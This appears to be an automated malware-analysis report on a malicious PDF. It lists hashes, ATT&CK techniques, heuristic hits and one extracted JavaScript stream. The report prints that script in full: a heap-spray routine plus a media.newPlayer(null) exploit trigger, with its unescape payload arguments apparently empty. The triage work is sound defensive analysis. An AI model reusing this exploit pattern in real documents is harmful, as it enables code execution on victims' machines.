PDF malware analysis — malicious · 4d932eedfa838561

MALICIOUS

PDF

841 B First seen: 2026-05-11

MD5: 90d748005f17941bf06fb849a34b7a6d SHA-1: 548b97364cdd1aab4197de5e411a082587250e8b SHA-256: 4d932eedfa8385612bfba98eb10f0960d7cc0022c8fbec02a4c1a6bc4645a19a

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains obfuscated JavaScript that utilizes the unescape function multiple times to spray the heap. This technique is commonly used to prepare memory for the execution of a second-stage exploit or payload. The ML classifier strongly indicates maliciousness, and the heap spray behavior points towards exploitation for client execution.

Machine Learning

Nyx PDF Classifier malicious score 0.9998

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Matched line in script
```
var Wo = unescape();
var yR = unescape();
```
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0005_000.js`	pdf-javascript-stream	PDF /JS object 5 at offset 0x156	331 bytes
SHA-256: `8983f337163fc880c17351865db80136cf8ab413c8dc75f08f24c5e78e81da3e`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script var Wo = unescape(); var yR = unescape(); for(i=0;i<15;){yR+=yR;i ++;} yR=yR.substring(0,32768 - Wo.length); memory=new Array(); for(i=0;i<0x2000;) { memory[i]= yR + Wo; i ++; } util.printd(, new Date()); util.printd(, new Date()); try {var obj = this.media;obj["new"+"Player"](null);} catch(e) {} util.printd(, new Date());

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